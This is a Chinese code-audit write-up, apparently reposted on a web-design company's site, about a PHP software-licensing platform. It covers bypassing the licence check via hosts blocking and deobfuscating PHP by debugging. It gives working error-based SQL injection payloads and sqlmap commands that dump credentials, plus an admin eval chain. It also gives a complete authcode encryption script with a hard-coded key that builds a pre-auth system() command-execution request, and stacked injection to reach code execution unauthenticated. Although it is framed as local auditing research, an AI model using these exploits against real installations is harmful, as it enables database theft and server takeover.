我感觉你需要付费授权域名才可以正常使用,我们回到代码中,看到是以index.php开头的

跟踪 core/.php 并查看

是加密的,加密类型是魔方。不过可以猜测这个PHP文件是跟一个远程地址通信,判断是否授权的,在其官网下载源码的时候有一个授权查询功能(见上图),大胆猜测是向这个域名的一个API请求,所以直接去hosts把这个地址封掉就行了。

然后发现很多关键文件的内容都是经过混淆的,看上去像是phpjm类型。

不过不要慌,我们可以通过动态调试来解决,这里我们以Db.php为例,这个php文件的功能从名字就可以判断出来,是一个封装数据库的方法,所以我们去登录的地方(会跟数据库交互的地方),设个断点

然后进入登录框输入账号密码验证码,点击登录

然后执行过程会停在断点处

然后按F11跳转到Db.php文件,成功解密源代码。

格式化和美化代码后,你就可以轻松地开始审计了。

其他混淆后的PHP文件源代码获取方式相同,不再赘述。
0x03 多次前端SQL注入
首先看一下登录点
这里采用了结构化参数传递,即使我们输入单引号,即admin’,最终也会被转义到下面查询数据库的语句=’admin\’,而单引号是无法闭合的,我们继续找找其他点。
接下来发现.php类初始化方法中传递的ID参数没有用单引号引起来。
也就是我们传入id=1'的时候,经过结构化参数传递之后就变成了id=1\',而且还多了一个单引号,这个单引号就导致了SQL注入,接下来就是找到这个类的init方法在哪儿被调用了。
最后我选择了.php文件,其中类继承并在()中使用父类的init方法
选择这个地方还有一个重要原因是这里没有登录判断,所以是前端sql注入,这里贴一下其他地方有登录判断的截图,作为对比。

测试如下
证明存在SQL注入之后,我们需要编写exp来进行利用,这里我们可以通过盲注来读取数据,但是耗时比较长,所以我选择通过报错的方式来注入。
() 是一个使用不同的 XML 标签匹配和替换 XML 块的函数。
使用时,如果格式错误,MySQL会抛出xpath语法错误(xpath错误)
#读取数据库中的表
data=123456&id=1and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema=database())),1)

但是由于错误注入的最大返回长度只有32位,我们可以通过mid()函数来控制回显位置
#读取回显内容的第33位开始的60位,因为限制最大返回32,所以回显的是32个长度内容
1and updatexml(1,mid(concat(1,(select group_concat(table_name)from information_schema.tables where table_schema=database())),33,60),1)
但是这样还是比较麻烦,我们可以通过指定错误注入来帮助我们完成数据的读取。
python3 sqlmap.py -r 1.txt-p "id"--dbms=mysql --technique=E -D bingxin -T BX_menber -C 'username,password,salt'-
-dump

拿到账号密码和加盐值之后就可以去cmd5解密,获取管理员权限了,当然因为环境是本地搭建的,我知道密码,直接用admin/admin登陆就可以了。
注意:任何继承了前面的类方法的 PHP 文件都会容易受到 SQL 注入的攻击,因此我不会在这里全部列出。
0x04 后台执行两次代码
当然,审计并不愿意止步于 SQL 注入,并继续尝试查看是否存在漏洞利用链。全局搜索 eval 函数,发现两个

上图可以看到从数据库表中获取了两个字段的值,分别是field和field,如果我们能控制这两个字段,就可以构造代码执行,然后通过命令来执行,逻辑如下
1、首先将 software 表中的字段 encrypt 的值定义给常量 API_ENCRYPT
2、if条件判断如果 API_ENCRYPT 的值为 defined_encrypt,进入eval函数执行,并且其参数为字段 defined_encrypt 的值
3、所以我们只要能设置 software 表中的字段 encrypt 的值为 defined_encrypt,字段 defined_encrypt 的值为 phpinfo();就能代码执行
让我们进入数据库并查看表格

表格中的内容是空的,我们在后台创建

数据库中看到该字段的默认值,该字段的值为空

代码中也证实了这一点

接下来我找到了一种方法来改变这两个字段

构造 POST 请求
再看一下数据库,更新成功!

现在,所有继承类初始化方法的 PHP 文件路由方法都可以触发 eval 函数导致代码执行。以下是几个示例
写
触发 eval 函数的执行
在web根目录下生成
另外一个eval函数使用思路也是一样,下面是使用链图,这里就不多说了。


0x05 前台代码执行
可以看出之前的代码执行是建立在能够获取管理员密码明文的前提下,如果cmd5无法解密,那么就无法使用,所以我们再次开始审计,寻找前端代码执行可以利用的条件
这是一个全局搜索和 find() 函数
($,数组$):混合
功能:调用回调函数,使用一个数组参数作为回调函数的参数

可以看到它的两个参数分别是$data变量中的name和param,我们跟进()看看参数传递的来源

find()方法的作用是从$this->data中解码出json格式的字符串,然后继续跟进$this->data

发现$this->data是通过解密得到的,继续跟进该方法

加密方式有多种可以选择,我们已经知道软件在数据库中默认的加密方式是,所以这里选择跟进。


从代码中我们可以看出该方法包含加密和解密两个函数,如果该方法的第二个参数为空,则进行加密;如果第二个参数为空,则进行解密。
所以我们可以用这个函数来加密我们的,先回到之前已有的方法,看看怎么构造,贴上关键代码
publicfunction remoteFun()
{
$data = $this->parseData();
empty($data['name'])?exit(api_json('1402')): FALSE;
do_action('api_software_remote_fun',[$data]);
eval($this->software['0']['remote']);
if(!function_exists($data['name'])){
exit(api_json('1401'));
}
$fun_param_num = count(get_fucntion_parameter_name($data['name']));
if($fun_param_num !='0'){
empty($data['param'])?exit(api_json('1402')): FALSE;
$res_param_num = count($data['param']);
if($fun_param_num != $res_param_num){
exit(api_json('1403'));
}
}else{
$data['param']= array();
}
$test = $data['param'];
$testst = $data['name'];
exit(api_json('1408', array('result'=>@call_user_func_array($data['name'], $data['param']))));
}
首先我们已经知道了纯文本格式应该是json格式,下面我们来分析一下该方法,该方法代码如下

会获取到参数的数量,也就是我们传入{"name":"","param":"ls"}的话,这里就是2个。
再往下看,这段代码使用count来获取param的数量,上面的例子中,param中只有一个ls,所以会返回1。
$res_param_num = count($data['param']);
下一个判断条件会判断它们是否相等,如果不相等,则流程停止并退出。
if($fun_param_num != $res_param_num){
exit(api_json('1403'));
}
所以我们最终的构造如下,将一个额外的值填充到param中,使其数量相等,以满足if条件判断
{"name":"system","param":["ls","dotast"]}
已经构造好了,接下来就是加密了,我们看看这个方法是在哪里用到加密的,全局搜索了一下,发现登录的时候会调用这个方法来加密

所以我们可以如下构造exp,通过上面的前端SQL注入可以读取exp中加密所需的key。
php
function authcode($string, $operation ='DECODE', $key ='', $expiry =0)
{
$ckey_length =4;
$key = md5($key);
$keya = md5(substr($key,0,16));
$keyb = md5(substr($key,16,16));
$keyc = $ckey_length ?($operation =='DECODE'? substr($string,0, $ckey_length): substr(md5(microtime()),-$ckey_length)):'';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation =='DECODE'? base64_decode(substr($string, $ckey_length)): sprintf('0d', $expiry ? $expiry + time():0). substr(md5($string . $keyb),0,16). $string;
$string_length = strlen($string);
$result ='';
$box = range(0,255);
$rndkey = array();
for($i =0; $i <=255; $i++){
$rndkey[$i]= ord($cryptkey[$i % $key_length]);
}
for($j = $i =0; $i <256; $i++){
$j =($j + $box[$i]+ $rndkey[$i])%256;
$tmp = $box[$i];
$box[$i]= $box[$j];
$box[$j]= $tmp;
}
for($a = $j = $i =0; $i < $string_length; $i++){
$a =($a +1)%256;
$j =($j + $box[$a])%256;
$tmp = $box[$a];
$box[$a]= $box[$j];
$box[$j]= $tmp;
$result .= chr(ord($string[$i])^($box[($box[$a]+ $box[$j])%256]));
}
if($operation =='DECODE'){
if((substr($result,0,10)==0|| substr($result,0,10)- time()>0)&& substr($result,10,16)== substr(md5(substr($result,26). $keyb),0,16)){
return substr($result,26);
}else{
return'';
}
}else{
return $keyc . str_replace('=','', base64_encode($result));
}
}
setcookie('test', authcode('{"name":"system","param":["ls","123456"]}','','zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw'), time()+3600,'/');
?>
访问后,加密数据将显示在
然后通过方法触发函数代码执行
当然加密部分没那么麻烦,因为只是在回显的时候加了一层URL编码,所以加密脚本也可以写成
php
function authcode($string, $operation ='DECODE', $key ='', $expiry =0)
{
$ckey_length =4;
$key = md5($key);
$keya = md5(substr($key,0,16));
$keyb = md5(substr($key,16,16));
$keyc = $ckey_length ?($operation =='DECODE'? substr($string,0, $ckey_length): substr(md5(microtime()),-$ckey_length)):'';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation =='DECODE'? base64_decode(substr($string, $ckey_length)): sprintf('0d', $expiry ? $expiry + time():0). substr(md5($string . $keyb),0,16). $string;
$string_length = strlen($string);
$result ='';
$box = range(0,255);
$rndkey = array();
for($i =0; $i <=255; $i++){
$rndkey[$i]= ord($cryptkey[$i % $key_length]);
}
for($j = $i =0; $i <256; $i++){
$j =($j + $box[$i]+ $rndkey[$i])%256;
$tmp = $box[$i];
$box[$i]= $box[$j];
$box[$j]= $tmp;
}
for($a = $j = $i =0; $i < $string_length; $i++){
$a =($a +1)%256;
$j =($j + $box[$a])%256;
$tmp = $box[$a];
$box[$a]= $box[$j];
$box[$j]= $tmp;
$result .= chr(ord($string[$i])^($box[($box[$a]+ $box[$j])%256]));
}
if($operation =='DECODE'){
if((substr($result,0,10)==0|| substr($result,0,10)- time()>0)&& substr($result,10,16)== substr(md5(substr($result,26). $keyb),0,16)){
return substr($result,26);
}else{
return'';
}
}else{
return $keyc . str_replace('=','', base64_encode($result));
}
}
$a = authcode('{"name":"system","param":["whoami","123456"]}','','zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw');
echo urlencode($a);
?>

0x6 后台的两段代码执行扩展为前台代码执行
我们已经知道了两个后端代码的执行是需要管理员权限的,进入后端之后我们就可以通过路由发起 POST 请求来修改数据库和字段了。如果有办法不用管理员权限就可以修改数据库字段,那不就升级到前端代码执行了吗?灵光一闪,我们继续回到前端 SQL 点。
测试有堆栈注入!堆栈注入能干什么?可以对数据库进行增删改查操作~
使用指定堆栈注入,然后获取sql-shell执行SQL语句
python3 sqlmap.py -r 1.txt--dbms=mysql -p "id"--technique=S --sql-shell
然后修改数据库字段

这里由于堆栈注入没有回显,所以返回了NULL,其实已经进行了修改操作,我们可以在后台数据库中进行验证。

选择继承父类init()方法的路由进行测试
可以看到执行了();,最终成功将后台代码执行用SQL拓展到前台代码执行。最终所有继承该类初始化方法的PHP文件通过其路由方法访问,都可以触发eval函数,导致代码执行。
0x07 总结
代码审计其实是一个很耗脑力的工作,但是只要你有足够的耐心和坚持,那一刻还是会感受到很强烈的满足感的,加油~
如有侵权请私信公众号删除帖子
扫一扫在手机端查看
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。


客服1